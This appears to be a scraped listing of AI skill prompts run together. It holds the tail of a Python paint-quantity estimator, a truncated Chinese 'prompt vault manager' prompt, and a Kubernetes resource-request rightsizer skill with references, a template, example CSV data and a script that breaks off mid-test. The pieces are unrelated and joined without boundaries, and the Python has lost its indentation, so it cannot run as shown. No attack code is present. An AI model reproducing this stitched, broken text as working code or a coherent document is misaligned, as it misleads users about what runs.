"volume": vol, "cost": cost, "leftover": vol - need}
def estimate(job):
units = str(job.get("units", "metric")).lower()
if units not in UNITS:
raise JobError("units must be metric or imperial")
U = UNITS[units]
waste = num(job.get("waste", 0.1), "waste", 0, strict=False)
paints = job.get("paints") or {}
if not paints:
raise JobError("paints is empty")
for pname, p in paints.items():
num(p.get("coverage"), f"paint {pname!r} coverage")
if not p.get("cans"):
raise JobError(f"paint {pname!r} has no cans")
for c in p["cans"]:
num(c.get("size"), f"paint {pname!r} can size")
num(c.get("price", 0), f"paint {pname!r} can price", 0, strict=False)
rooms = job.get("rooms") or []
if not rooms:
raise JobError("rooms is empty")
findings, lines, need = [], [], {}
def f(sev, code, where, msg):
findings.append({"severity": sev, "code": code, "where": where, "message": msg})
for r in rooms:
name = r.get("name") or "room"
L, W, H = (num(r.get(k), f"{name}: {k}") for k in ("length", "width", "height"))
if not U["height"][0] <= H <= U["height"][1]:
f("LOW", "ODD_HEIGHT", name, f"height {H:g} {U['len']} is unusual; check the unit and the measurement")
tex = str(r.get("texture", "smooth")).lower()
if tex not in TEXTURE:
raise JobError(f"{name}: texture must be smooth, light or rough")
openings = 0.0
for o in r.get("openings") or []:
cnt = o.get("count", 1)
if not isinstance(cnt, int) or isinstance(cnt, bool) or cnt < 0:
raise JobError(f"{name}: opening count must be a whole number >= 0")
openings += num(o.get("w"), f"{name}: opening w") * num(o.get("h"), f"{name}: opening h") * cnt
gross = 2 * (L + W) * H
surfaces = {"walls": gross - openings, "ceiling": L * W}
if openings >= gross * 0.6:
f("HIGH", "OPENINGS_TOO_LARGE", name, f"openings {openings:.1f} {U['area']} are {openings / gross:.0%} of the walls; check the measurements")
surfaces["walls"] = max(surfaces["walls"], 0.0)
prev, new = r.get("previous"), r.get("new")
for sname in ("walls", "ceiling"):
s = r.get(sname)
if not s:
continue
pname = s.get("paint")
if pname not in paints:
raise JobError(f"{name} {sname}: unknown paint {pname!r}")
coats = s.get("coats", 2)
if not isinstance(coats, int) or isinstance(coats, bool) or coats < 1:
raise JobError(f"{name} {sname}: coats must be a whole number >= 1")
cov = float(paints[pname]["coverage"])
primer = bool(s.get("primer"))
if sname == "walls" and prev in LIGHTNESS and new in LIGHTNESS and LIGHTNESS[prev] - LIGHTNESS[new] >= 2 and coats < 3 and not primer:
f("MEDIUM", "DARK_TO_LIGHT", name, "dark to light colour change: add a stain-blocking primer or a third coat")
if r.get("new_surface") and not primer and coats < 3:
f("MEDIUM", "NEW_SURFACE", name, f"new plaster or drywall on the {sname}: seal with a mist coat or primer first (it soaks up paint)")
if coats == 1:
f("LOW", "ONE_COAT", f"{name} {sname}", "one coat usually looks patchy; plan two")
vol = surfaces[sname] * coats * TEXTURE[tex] / cov * (1 + waste)
need[pname] = need.get(pname, 0.0) + vol
lines.append({"room": name, "surface": sname, "area": round(surfaces[sname], 2), "coats": coats,
"paint": pname, "texture": tex, "volume": round(vol, 2)})
for pname, p in paints.items():
lo, hi = U["cov"]
if pname in need and not lo <= p["coverage"] <= hi:
f("LOW", "COVERAGE_SUSPECT", pname, f"coverage {p['coverage']:g} {U['area']}/{U['vol']} per coat is outside the usual {lo}-{hi}; check the label")
buys, total = [], 0.0
for pname in sorted(need):
mix = best_mix(round(need[pname], 4), paints[pname]["cans"])
if mix is None:
f("HIGH", "NO_CAN_MIX", pname, "no can combination found")
continue
total += mix["cost"]
buys.append(dict(mix, paint=pname, need=round(need[pname], 2)))
if mix["volume"] and mix["leftover"] > 0.3 * mix["volume"] and mix["leftover"] > 1:
f("LOW", "BIG_LEFTOVER", pname, f"{mix['leftover']:.1f} {U['vol']} left over; keep it for touch-ups or check smaller can prices")
rank = {"HIGH": 0, "MEDIUM": 1, "LOW": 2}
findings.sort(key=lambda x: rank[x["severity"]])
return {"name": job.get("name", "painting job"), "units": units, "currency": job.get("currency", ""),
"waste": waste, "lines": lines, "buy": buys, "total_cost": round(total, 2), "findings": findings}
def g(x):
return f"{x:.2f}".rstrip("0").rstrip(".")
def report(res):
U = UNITS[res["units"]]
cur = res["currency"]
out = [f"# Paint estimate: {res['name']}", "",
f"Units: {res['units']} ({U['area']}, {U['vol']}); waste allowance {res['waste']:.0%}", "",
f"| Room | Surface | Area ({U['area']}) | Coats | Paint | Texture | Paint needed ({U['vol']}) |", "|---|---|---|---|---|---|---|"]
for l in res["lines"]:
out.append(f"| {l['room']} | {l['surface']} | {g(l['area'])} | {l['coats']} | {l['paint']} | {l['texture']} | {g(l['volume'])} |")
out += ["", "## Shopping list", f"| Paint | Needed ({U['vol']}) | Buy | Bought ({U['vol']}) | Left over | Cost |", "|---|---|---|---|---|---|"]
for b in res["buy"]:
mix = " + ".join(f"{c['count']} x {g(c['size'])} {U['vol']}" for c in b["cans"])
out.append(f"| {b['paint']} | {g(b['need'])} | {mix} | {g(b['volume'])} | {g(b['leftover'])} | {g(b['cost'])} {cur} |")
out += ["", f"**Total paint cost: {g(res['total_cost'])} {cur}** (primer, tape, rollers and fillers not included)", "", "## Findings"]
if not res["findings"]:
out.append("- none")
for x in res["findings"]:
out.append(f"- **{x['severity']} {x['code']}** ({x['where']}): {x['message']}")
return "\n".join(out) + "\n"
def self_test():
cases = []
def ok(name, cond):
cases.append(bool(cond))
print(("PASS " if cond else "FAIL ") + name)
cans = [{"size": 10, "price": 100}, {"size": 2.5, "price": 30}]
m = best_mix(11, cans)
ok("11 L -> 10 + 2.5 for 130", m["cost"] == 130 and m["volume"] == 12.5)
m = best_mix(8, cans)
ok("8 L -> one 10 L (100 < 4 x 30)", m["cans"] == [{"size": 10, "count": 1, "price": 100}])
m = best_mix(7, cans)
ok("7 L -> 3 x 2.5 for 90", m["cost"] == 90 and m["leftover"] == 0.5)
ok("tie prefers less leftover", best_mix(2, [{"size": 4, "price": 10}, {"size": 2, "price": 10}])["volume"] == 2)
ok("zero need buys nothing", best_mix(0, cans)["cans"] == [])
base = {"waste": 0, "paints": {"w": {"coverage": 10, "cans": cans}},
"rooms": [{"name": "r", "length": 4, "width": 3, "height": 2.5, "walls": {"paint": "w", "coats": 2}}]}
r = estimate(base)
ok("wall area 2x(4+3)x2.5 = 35", r["lines"][0]["area"] == 35)
ok("35 m2 x 2 coats / 10 = 7 L", r["lines"][0]["volume"] == 7)
ok("clean job has no findings", r["findings"] == [] and r["total_cost"] == 90)
j = json.loads(json.dumps(base)); j["rooms"][0]["openings"] = [{"w": 0.9, "h": 2, "count": 1}, {"w": 1.2, "h": 1.25, "count": 2}]
ok("openings subtracted (35 - 1.8 - 3 = 30.2)", estimate(j)["lines"][0]["area"] == 30.2)
j = json.loads(json.dumps(base)); j["rooms"][0]["ceiling"] = {"paint": "w", "coats": 1}
r = estimate(j)
ok("ceiling area 12 and one-coat flagged", r["lines"][1]["area"] == 12 and any(x["code"] == "ONE_COAT" for x in r["findings"]))
ok("same paint summed across surfaces", r["buy"][0]["need"] == 8.2)
j = json.loads(json.dumps(base)); j["waste"] = 0.1; j["rooms"][0]["texture"] = "rough"
ok("rough + 10% waste: 7 x 1.25 x 1.1", estimate(j)["lines"][0]["volume"] == 9.62)
j = json.loads(json.dumps(base)); j["rooms"][0].update(previous="dark", new="light")
ok("dark to light flagged", any(x["code"] == "DARK_TO_LIGHT" for x in estimate(j)["findings"]))
j["rooms"][0]["walls"]["primer"] = True
ok("primer clears dark to light", not any(x["code"] == "DARK_TO_LIGHT" for x in estimate(j)["findings"]))
j = json.loads(json.dumps(base)); j["rooms"][0]["new_surface"] = True
ok("new surface flagged", any(x["code"] == "NEW_SURFACE" for x in estimate(j)["findings"]))
j = json.loads(json.dumps(base)); j["rooms"][0]["openings"] = [{"w": 3, "h": 2.5, "count": 4}]
ok("openings too large flagged", any(x["code"] == "OPENINGS_TOO_LARGE" for x in estimate(j)["findings"]))
j = json.loads(json.dumps(base)); j["paints"]["w"]["coverage"] = 30
ok("coverage suspect flagged", any(x["code"] == "COVERAGE_SUSPECT" for x in estimate(j)["findings"]))
j = json.loads(json.dumps(base)); j["rooms"][0]["height"] = 8
ok("metric height 8 m flagged", any(x["code"] == "ODD_HEIGHT" for x in estimate(j)["findings"]))
imp = {"units": "imperial", "waste": 0, "paints": {"w": {"coverage": 350, "cans": [{"size": 1, "price": 40}, {"size": 5, "price": 170}]}},
"rooms": [{"name": "r", "length": 12, "width": 10, "height": 8, "walls": {"paint": "w", "coats": 2}}]}
r = estimate(imp)
ok("imperial 352 sq ft x2 / 350 -> 2.01 gal -> 3 x 1 gal", r["lines"][0]["area"] == 352 and r["buy"][0]["cans"] == [{"size": 1, "count": 3, "price": 40}])
j = json.loads(json.dumps(base)); j["paints"]["w"]["cans"] = [{"size": 1, "price": 5}]; j["rooms"][0]["length"] = 40
ok("big leftover not flagged for exact fit", not any(x["code"] == "BIG_LEFTOVER" for x in estimate(j)["findings"]))
j = json.loads(json.dumps(base)); j["paints"]["w"]["cans"] = [{"size": 20, "price": 150}]
ok("big leftover flagged (20 L for 7 L)", any(x["code"] == "BIG_LEFTOVER" for x in estimate(j)["findings"]))
for mut, label in ((lambda j: j.update(units="cubits"), "bad units"), (lambda j: j.update(paints={}), "no paints"),
(lambda j: j["rooms"][0].update(height=0), "zero height"),
(lambda j: j["rooms"][0]["walls"].update(paint="x"), "unknown paint"),
(lambda j: j["rooms"][0]["walls"].update(coats=1.5), "fractional coats"),
(lambda j: j["rooms"][0].update(texture="glitter"), "bad texture"),
(lambda j: j.update(rooms=[]), "no rooms")):
j = json.loads(json.dumps(base))
mut(j)
try:
estimate(j)
ok(label + " rejected", False)
except JobError:
ok(label + " rejected", True)
print(f"{sum(cases)}/{len(cases)} passed")
return 0 if all(cases) else 1
def main(argv=None):
ap = argparse.ArgumentParser(description="Estimate paint quantity, cans to buy and cost for rooms.")
ap.add_argument("file", nargs="?", help="painting job JSON")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args(argv)
if a.self_test:
return self_test()
if not a.file:
ap.error("give a job JSON file or --self-test")
try:
res = estimate(json.load(open(a.file, encoding="utf-8")))
except (OSError, json.JSONDecodeError, JobError, AttributeError, TypeError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(res, indent=2) if a.json else report(res), end="\n" if a.json else "")
return 1 if any(x["severity"] == "HIGH" for x in res["findings"]) else 0
if __name__ == "__main__":
sys.exit(main())严格、可版本化、Markdown 优先的可复用提示词金库体系。
1你是「提示词金库管理器」。请按下列中文说明执行；完整原提示词正文保留于后，供结构、占位符与技术细节对齐。23## 中文任务说明4严格、可版本化、Markdown 优先的可复用提示词金库体系。56以下保留原提示词正文供结构与占位符对齐：78You are the Prompt Vault Manager.910You are the working records officer for a private, versioned, markdown-first prompt vault. You treat prompts as production instruments: each receives a home, a stable ID, a version, a status, an owner, and a path an agent can load....+99行
按真实用量（p50/p95/max）校正 CPU/内存 request 与 limit。
---
name: kubernetes-resource-requests-rightsizer
description: 按真实用量（p50/p95/max）校正 CPU/内存 request 与 limit。
---
# Kubernetes 资源请求 Rightsizer
你是「Kubernetes 资源请求 Rightsizer」技能助手。上方 description 为中文任务说明。下方保留原技能完整正文（含脚本与代码）；执行时遵循中文说明与原文技术细节。
# Kubernetes Resource Requests Rightsizer
You help platform engineers, SREs and developers set Kubernetes container requests and limits from evidence instead of guesses. From usage percentiles exported from Prometheus, Datadog or a VPA recommender, you propose new requests and limits per container, explain the risky ones first (OOM kills, throttling, eviction risk), estimate what the cluster saves, and plan a safe rollout.
## Files in this skill
- `scripts/rightsize.py` - reads a CSV of current settings and usage percentiles per container and prints recommended requests and limits, findings and the requests freed (Python 3 standard library only)
- `references/sizing-method.md` - what requests and limits do, the sizing rules, which metrics to collect (with PromQL), and how to read throttled or OOM-killed containers
- `references/rollout-and-guardrails.md` - change order, safe rollout and rollback, LimitRange, ResourceQuota, VPA, alerts, and when not to cut
- `templates/rightsizing-plan.md` - a rightsizing plan to share with the team or attach to a change ticket
- `examples/shop-cluster-usage.csv` - six containers of a shop: an oversized API, its sidecar, an OOM-killed throttled search service, a worker without a memory limit, Redis and a log shipper with no requests
## Workflow
### 1. Collect usage
Ask for at least 7 days (better 14-28) of per-container numbers: replicas, current requests and limits, CPU p50/p95/max in millicores, memory working set p50/p95/max in MiB, throttled percentage and OOM kills. `references/sizing-method.md` has the PromQL for each. Ask what each workload does, how traffic varies (weekly peaks, sales, batch jobs) and whether an HPA scales it.
### 2. Run the rightsizer
```
python3 scripts/rightsize.py examples/shop-cluster-usage.csv --core-month 24 --gib-month 3.2
python3 scripts/rightsize.py usage.csv --headroom 25 --keep-cpu-limits --json
python3 scripts/rightsize.py --self-test
```
Prices are optional and per requested core or GiB per month. Exit code 1 means CRITICAL or HIGH findings, 2 means bad input.
### 3. Explain and plan
Start with CRITICAL and HIGH containers: say what goes wrong today, the evidence, and the change. For throttled or OOM-killed containers, say the usage numbers are capped and plan a second measurement after the fix. Then list the biggest savings (replicas multiply them). Check the cases in `references/rollout-and-guardrails.md` where cutting is unsafe, and mention HPA retuning when requests change.
### 4. Deliver
Fill `templates/rightsizing-plan.md` with the table, a YAML patch per workload, the rollout order, what to watch and the re-measure date.
## Example result
For `examples/shop-cluster-usage.csv`: shop/catalog-search/app is CRITICAL (3 OOM kills at a 1536Mi limit, memory p95 1180Mi above its 1024Mi request, 31% CPU throttling at a 500m limit) and gets 570m / 1360Mi requests, a 1872Mi memory limit and no CPU limit; ops/log-shipper has no requests at all (HIGH, 8 replicas); shop/image-resizer needs a memory limit and more memory; shop/checkout-api/app drops from 1000m / 2048Mi to 485m / 912Mi on 6 replicas. In total 1.76 cores and 4.06 GiB of requests are freed, about 55 a month at 24 per core and 3.2 per GiB.
## Rules
- Fix reliability risks before savings, and never recommend removing a memory limit.
- Say which percentile, window and headroom every number comes from, and that rare peaks outside the window are not covered.
- Treat usage of throttled or OOM-killed containers as a floor, not the real demand.
- Give changes as manifest or Helm values patches for review; do not run `kubectl` commands against a live cluster yourself.
- Report savings as requests freed until nodes are actually removed.
FILE:references/sizing-method.md
# Sizing Method
## What requests and limits do
- **CPU request:** what the scheduler reserves on a node and the container's share of CPU when the node is busy. Too low: the pod lands on crowded nodes and slows down under load. Too high: nodes look full while sitting idle, so you pay for empty cores.
- **CPU limit:** a hard cap enforced by CFS quota in 100 ms periods. A container that hits it is throttled, even when the node has idle CPU. Latency-sensitive services (APIs, proxies, JVMs and Go programs with many threads) suffer most.
- **Memory request:** what the scheduler reserves. Pods using more than their request are the first to be evicted when a node runs out of memory.
- **Memory limit:** a hard cap; going over it means an OOM kill (exit code 137, reason `OOMKilled`). Memory cannot be throttled.
- **QoS classes:** Guaranteed (requests = limits for every container), Burstable (some requests set), BestEffort (nothing set, evicted first).
## The rules used by `scripts/rightsize.py`
| Setting | Rule | Why |
|---|---|---|
| CPU request | p95 x (1 + headroom), up to 5m steps, at least 10m | covers normal busy periods; the rest is shared idle CPU |
| CPU limit | removed (or `--keep-cpu-limits`: max(max x 1.2, 2 x request)) | limits throttle bursts even on idle nodes |
| Memory request | p95 x (1 + headroom), up to 16Mi steps, at least 32Mi | keeps the pod out of the eviction line |
| Memory limit | max(max x 1.25, request), up to 16Mi steps | room for peaks; never removed, a leak must not take the node down |
Default headroom is 15%. Use 25-30% for spiky traffic, batch jobs or when the data window is short.
## Which numbers to collect
Per container, over at least 7 days (14-28 days catches weekly and month-end peaks):
- CPU in millicores: p50, p95 and max of `rate(container_cpu_usage_seconds_total[5m]) * 1000`
- Memory in MiB: p50, p95 and max of `container_memory_working_set_bytes / 2^20` (working set is what the OOM killer and eviction look at, not RSS or cache)
- Throttling: `container_cpu_cfs_throttled_periods_total / container_cpu_cfs_periods_total * 100`
- OOM kills: `kube_pod_container_status_last_terminated_reason{reason="OOMKilled"}` or restarts with exit code 137
- Current settings: `kubectl get deploy -o jsonpath` or `kube_pod_container_resource_requests` / `_limits`
## Reading the results
- **Throttled containers** report usage capped at the limit, so p95 understates real demand. Raise or remove the limit first, measure again for a few days, then size.
- **OOM kills** mean the max is unknown (the container died at the limit). Raise the memory limit by 50% or more, find the leak or the large request, then re-measure.
- **JVM, Node.js and Go** read their heap from settings: change `-Xmx`, `--max-old-space-size` or `GOMEMLIMIT` together with the memory limit (heap around 70-75% of the limit).
- **Sidecars** (istio-proxy, log shippers) are sized separately; their numbers multiply by every replica.
- **HPA on CPU** scales on usage divided by the request. Lowering the request makes the HPA scale out earlier, so lower `averageUtilization` targets or the replica count may change. Rightsize first, then retune the HPA.
## Limits of this method
- Percentiles over a window miss rare events: a monthly batch, a sale, a cache rebuild after deploys.
- Usage per container is averaged over replicas; a hot shard or leader pod needs its own row.
- Node bin-packing, DaemonSet overhead and allocatable memory decide the real saving; freed requests only turn into money when nodes are removed.
FILE:references/rollout-and-guardrails.md
# Rollout and Guardrails
## Change order
1. **Fix risk first:** OOM kills, memory p95 above the request, heavy throttling, missing requests. These cause incidents; savings can wait.
2. **Then cut waste:** OVERPROVISIONED containers, largest replica count first, because the saving multiplies.
3. **One workload at a time,** in staging first when it has real traffic, then production in a quiet window.
## Safe rollout steps
1. Change requests and limits in Git (Helm values, Kustomize patch or the manifest), never with `kubectl edit` on production.
2. Keep the rollout gradual: `maxUnavailable: 0`, `maxSurge: 25%` and a PodDisruptionBudget, so new pods with new sizes come up before old ones go.
3. Watch for 24-48 hours: p95 latency, error rate, throttling, OOM kills, restarts, evictions and HPA replica counts.
4. Rollback = revert the commit. Lowering a request never kills running pods, but pods are recreated by the rollout.
## Example patch
```yaml
resources:
requests:
cpu: 485m
memory: 912Mi
limits:
memory: 1136Mi # no cpu limit on purpose: avoid CFS throttling
```
## Cluster guardrails
- **LimitRange** per namespace: default requests and a default memory limit, so BestEffort pods cannot appear.
- **ResourceQuota** per namespace: caps total requests so one team cannot fill the cluster.
- **Vertical Pod Autoscaler** in `updateMode: "Off"` gives recommendations to compare with this skill's numbers without restarting pods. Do not let VPA (Auto) and an HPA on CPU or memory control the same workload.
- **Alerts:** OOMKilled in the last hour, throttling over 25% for 15 minutes, memory working set over 90% of the limit, pods Pending for lack of resources.
## When not to cut
- Workloads with known rare peaks the data window did not include (month-end, Black Friday, quarterly reports).
- Pods whose start-up uses much more CPU than steady state (JVM warm-up): keep a higher request or use a startup probe with a generous delay.
- Databases and caches with a configured memory size (Redis `maxmemory`, PostgreSQL `shared_buffers`): the memory limit must stay above the configured size plus overhead.
- Guaranteed QoS needed on purpose (latency-critical, CPU pinning with the static CPU manager policy): keep requests equal to limits.
## Turning freed requests into savings
Freed requests only lower the bill when the cluster autoscaler (or Karpenter) can remove nodes. Check node utilisation by requests after the change and allow a day for consolidation. Report savings as "requests freed" until node counts actually drop.
FILE:templates/rightsizing-plan.md
# Rightsizing Plan - <cluster / namespace> - <date>
**Data:** <Prometheus / Datadog / other>, <first day> to <last day> (<n> days) **Headroom:** <15>% **Owner:** <name>
## Risks to fix first
| Container | Finding | Evidence | Change | Due |
|---|---|---|---|---|
| | | | | |
## Requests and limits
| Container | Replicas | CPU req (now -> new) | CPU limit | Mem req (now -> new) | Mem limit (now -> new) | Status |
|---|---|---|---|---|---|---|
| | | | | | | |
## Savings
- Requests freed: <cores> cores, <GiB> GiB
- Estimated monthly saving: <amount> (at <price per core> / <price per GiB>); real once nodes scale down
## Rollout
| Step | Workload | Environment | Date | Watch | Rollback |
|---|---|---|---|---|---|
| 1 | | staging | | latency, OOM, throttling | revert commit |
## Follow-up
- Re-measure on <date> with fresh percentiles
- Guardrails: LimitRange defaults <...>, alerts <...>
FILE:examples/shop-cluster-usage.csv
namespace,workload,container,replicas,cpu_request_m,cpu_limit_m,mem_request_mi,mem_limit_mi,cpu_p50_m,cpu_p95_m,cpu_max_m,mem_p50_mi,mem_p95_mi,mem_max_mi,throttled_pct,oom_kills,days
shop,checkout-api,app,6,1000,2000,2048,2048,180,420,1350,610,780,905,0,0,14
shop,checkout-api,istio-proxy,6,100,2000,128,1024,35,90,240,70,95,120,0,0,14
shop,catalog-search,app,4,500,500,1024,1536,310,495,500,900,1180,1490,31,3,14
shop,image-resizer,worker,3,250,1000,512,,120,380,950,340,610,1720,4,0,14
shop,cart-redis,redis,1,200,,768,1024,40,75,160,690,712,730,0,0,14
ops,log-shipper,fluent-bit,8,,,,,25,60,180,45,70,95,0,0,5
FILE:scripts/rightsize.py
#!/usr/bin/env python3
"""Kubernetes resource requests rightsizer (Python 3 standard library only).
Input: CSV with a header row, one row per container, columns
namespace,workload,container,replicas,
cpu_request_m,cpu_limit_m,mem_request_mi,mem_limit_mi,
cpu_p50_m,cpu_p95_m,cpu_max_m,mem_p50_mi,mem_p95_mi,mem_max_mi,
throttled_pct,oom_kills,days
CPU in millicores (m), memory in MiB (Mi). Empty request/limit cells mean "not set".
throttled_pct = share of CFS periods throttled (0-100); oom_kills and days may be empty (0 / unknown).
Recommendation per container (headroom default 15%, --headroom):
cpu request = p95 x (1 + headroom), rounded up to 5m, at least 10m
cpu limit = none (recommended), unless --keep-cpu-limits: max(cpu max x 1.2, 2 x request), 50m steps
mem request = p95 x (1 + headroom), rounded up to 16Mi, at least 32Mi
mem limit = max(mem max x 1.25, request), rounded up to 16Mi (never removed)
Findings (severity):
CRITICAL OOM_RISK OOM kills seen, or memory max >= 95% of the memory limit
HIGH NO_REQUESTS cpu or memory request missing (BestEffort / poor scheduling)
HIGH MEM_UNDER_REQUEST memory p95 above the memory request (eviction risk under node pressure)
HIGH CPU_THROTTLED throttled_pct >= 25
MEDIUM CPU_THROTTLED throttled_pct 10-25
MEDIUM CPU_UNDER_REQUEST cpu p95 above 1.2 x cpu request (noisy neighbours, slow under load)
MEDIUM NO_MEMORY_LIMIT memory limit missing (one leak can take the node down)
LOW OVERPROVISIONED recommended cpu or memory request < 50% of current
LOW SHORT_WINDOW under 7 days of data (misses weekly peaks; trust less)
Savings: (current - recommended requests) x replicas, totals in cores and GiB, and a monthly
estimate when --core-month and --gib-month prices are given.
Usage:
python3 rightsize.py usage.csv
python3 rightsize.py usage.csv --headroom 25 --core-month 24 --gib-month 3.2 --json
python3 rightsize.py --self-test
Exit code: 0 no CRITICAL/HIGH, 1 CRITICAL or HIGH findings, 2 bad input.
"""
import argparse
import csv
import io
import json
import math
import sys
COLUMNS = ("namespace", "workload", "container", "replicas", "cpu_request_m", "cpu_limit_m",
"mem_request_mi", "mem_limit_mi", "cpu_p50_m", "cpu_p95_m", "cpu_max_m",
"mem_p50_mi", "mem_p95_mi", "mem_max_mi", "throttled_pct", "oom_kills", "days")
OPTIONAL = {"cpu_request_m", "cpu_limit_m", "mem_request_mi", "mem_limit_mi", "throttled_pct", "oom_kills", "days"}
SEV_ORDER = {"CRITICAL": 0, "HIGH": 1, "MEDIUM": 2, "LOW": 3}
class DataError(ValueError):
pass
def up(x, step):
return int(math.ceil(x / step - 1e-9) * step)
def num(row, col, line):
v = row.get(col, "")
if v == "":
if col in OPTIONAL:
return None
raise DataError(f"line {line}: {col} is required")
try:
x = float(v)
except ValueError:
raise DataError(f"line {line}: {col} must be a number, got {v!r}")
if x < 0:
raise DataError(f"line {line}: {col} must be >= 0")
return x
def read_rows(text):
rd = csv.DictReader(io.StringIO(text))
if not rd.fieldnames:
raise DataError("empty CSV")
missing = [c for c in COLUMNS if c not in {f.strip() for f in rd.fieldnames}]
if missing:
raise DataError("CSV header is missing: " + ", ".join(missing))
rows = []
for n, raw in enumerate(rd, start=2):
row = {k.strip(): (v or "").strip() for k, v in raw.items() if k}
if not any(row.values()):
continue
r = {c: row[c] for c in ("namespace", "workload", "container")}
for c in COLUMNS[3:]:
r[c] = num(row, c, n)
if r["replicas"] < 1:
raise DataError(f"line {n}: replicas must be >= 1")
if r["cpu_p95_m"] > r["cpu_max_m"] or r["mem_p95_mi"] > r["mem_max_mi"]:
raise DataError(f"line {n}: p95 cannot be above max")
rows.append(r)
if not rows:
raise DataError("no data rows")
return rows
def analyze(r, headroom=0.15, keep_cpu_limits=False):
h = 1 + headroom
rec = {
"cpu_request_m": max(10, up(r["cpu_p95_m"] * h, 5)),
"mem_request_mi": max(32, up(r["mem_p95_mi"] * h, 16)),
}
rec["cpu_limit_m"] = max(up(r["cpu_max_m"] * 1.2, 50), up(2 * rec["cpu_request_m"], 50)) if keep_cpu_limits else None
rec["mem_limit_mi"] = max(rec["mem_request_mi"], up(r["mem_max_mi"] * 1.25, 16))
findings = []
def f(sev, code, msg):
findings.append({"severity": sev, "code": code, "message": msg})
cr, cl, mr, ml = r["cpu_request_m"], r["cpu_limit_m"], r["mem_request_mi"], r["mem_limit_mi"]
oom = r["oom_kills"] or 0
if oom > 0:
f("CRITICAL", "OOM_RISK", f"{oom:g} OOM kill(s); memory max {r['mem_max_mi']:g}Mi vs limit {fmt(ml, 'Mi')}")
elif ml and r["mem_max_mi"] >= 0.95 * ml:
f("CRITICAL", "OOM_RISK", f"memory max {r['mem_max_mi']:g}Mi is {r['mem_max_mi'] / ml:.0%} of the {ml:g}Mi limit")
if cr is None or mr is None:
f("HIGH", "NO_REQUESTS", "missing " + " and ".join(x for x, v in (("cpu request", cr), ("memory request", mr)) if v is None))
if mr and r["mem_p95_mi"] > mr:
f("HIGH", "MEM_UNDER_REQUEST", f"memory p95 {r['mem_p95_mi']:g}Mi > request {mr:g}Mi")
th = r["throttled_pct"] or 0
if th >= 25:
f("HIGH", "CPU_THROTTLED", f"{th:g}% of CPU periods throttled at limit {fmt(cl, 'm')}; usage is capped, so real demand is higher")
elif th >= 10:
f("MEDIUM", "CPU_THROTTLED", f"{th:g}% of CPU periods throttled at limit {fmt(cl, 'm')}")
if cr and r["cpu_p95_m"] > 1.2 * cr:
f("MEDIUM", "CPU_UNDER_REQUEST", f"cpu p95 {r['cpu_p95_m']:g}m > 1.2 x request {cr:g}m")
if ml is None:
f("MEDIUM", "NO_MEMORY_LIMIT", "no memory limit set")
over = []
if cr and rec["cpu_request_m"] < 0.5 * cr:
over.append(f"cpu {cr:g}m -> {rec['cpu_request_m']}m")
if mr and rec["mem_request_mi"] < 0.5 * mr:
over.append(f"memory {mr:g}Mi -> {rec['mem_request_mi']}Mi")
if over:
f("LOW", "OVERPROVISIONED", "; ".join(over))
if r["days"] is not None and r["days"] < 7:
f("LOW", "SHORT_WINDOW", f"only {r['days']:g} days of data")
findings.sort(key=lambda x: SEV_ORDER[x["severity"]])
status = findings[0]["severity"] if findings and findings[0]["severity"] != "LOW" else "OK"
n = r["replicas"]
d_cpu = ((cr or 0) - rec["cpu_request_m"]) * n
d_mem = ((mr or 0) - rec["mem_request_mi"]) * n
return {"id": f"{r['namespace']}/{r['workload']}/{r['container']}", "replicas": int(n), "current": {
"cpu_request_m": cr, "cpu_limit_m": cl, "mem_request_mi": mr, "mem_limit_mi": ml},
"recommended": rec, "delta_cpu_m": d_cpu, "delta_mem_mi": d_mem, "status": status, "findings": findings}
def run(text, headroom=0.15, keep_cpu_limits=False, core_month=None, gib_month=None):
res = [analyze(r, headroom, keep_cpu_limits) for r in read_rows(text)]
res.sort(key=lambda x: (SEV_ORDER.get(x["status"], 4), x["id"]))
tot_cpu = sum(x["delta_cpu_m"] for x in res) / 1000
tot_mem = sum(x["delta_mem_mi"] for x in res) / 1024
out = {"containers": res, "freed_cores": round(tot_cpu, 3), "freed_gib": round(tot_mem, 3)}
if core_month is not None and gib_month is not None:
out["monthly_saving"] = round(tot_cpu * core_month + tot_mem * gib_month, 2)
return out
def fmt(v, unit):
return "none" if v is None else f"{v:g}{unit}"
def report(out, headroom):
L = ["# Kubernetes rightsizing report", "",
f"Requests = p95 + {headroom:.0%} headroom; CPU limits removed unless kept; memory limit = max x 1.25.", "",
"| Container | Replicas | Status | CPU req | CPU limit | Mem req | Mem limit |",
"|---|---|---|---|---|---|---|"]
for x in out["containers"]:
c, r = x["current"], x["recommended"]
L.append(f"| {x['id']} | {x['replicas']} | {x['status']} | {fmt(c['cpu_request_m'], 'm')} -> {r['cpu_request_m']}m"
f" | {fmt(c['cpu_limit_m'], 'm')} -> {fmt(r['cpu_limit_m'], 'm')}"
f" | {fmt(c['mem_request_mi'], 'Mi')} -> {r['mem_request_mi']}Mi"
f" | {fmt(c['mem_limit_mi'], 'Mi')} -> {r['mem_limit_mi']}Mi |")
L += ["", "## Findings"]
any_f = False
for x in out["containers"]:
for f in x["findings"]:
any_f = True
L.append(f"- {f['severity']} {f['code']} {x['id']}: {f['message']}")
if not any_f:
L.append("- none")
L += ["", "## Requests freed (negative = more needed)",
f"- CPU: {out['freed_cores']:g} cores", f"- Memory: {out['freed_gib']:g} GiB"]
if "monthly_saving" in out:
L.append(f"- Estimated monthly saving: {out['monthly_saving']:,.2f}")
return "\n".join(L) + "\n"
def self_test():
cases = []
def ok(name, cond):
cases.append(bool(cond))
print(("PASS " if cond else "FAIL ") + name)
hdr = ",".join(COLUMNS) + "\n"
def row(**kw):
base = dict(namespace="ns", workload="w", container="c", replicas=1, cpu_request_m=500, cpu_limit_m=1000,
mem_request_mi=512, mem_limit_mi=1024, cpu_p50_m=100, cpu_p95_m=200, cpu_max_m=300,
mem_p50_mi=200, mem_p95_mi=300, mem_max_mi=400, throttled_pct=0, oom_kills=0, days=14)
base.update(kw)
return ",".join("" if base[c] is None else str(base[c]) for c in COLUMNS) + "\n"
def one(**kw):
return run(hdr + row(**kw))["containers"][0]
def codes(x):
return {(f["severity"], f["code"]) for f in x["findings"]}
x = one()
ok("cpu request = p95 x 1.15 rounded to 5m (230)", x["recommended"]["cpu_request_m"] == 230)
ok("mem request = 300 x 1.15 = 345 -> 352Mi", x["recommended"]["mem_request_mi"] == 352)
ok("mem limit = 400 x 1.25 = 500 -> 512Mi", x["recommended"]["mem_limit_mi"] == 512)
ok("cpu limit removed by default", x["recommended"]["cpu_limit_m"] is None)
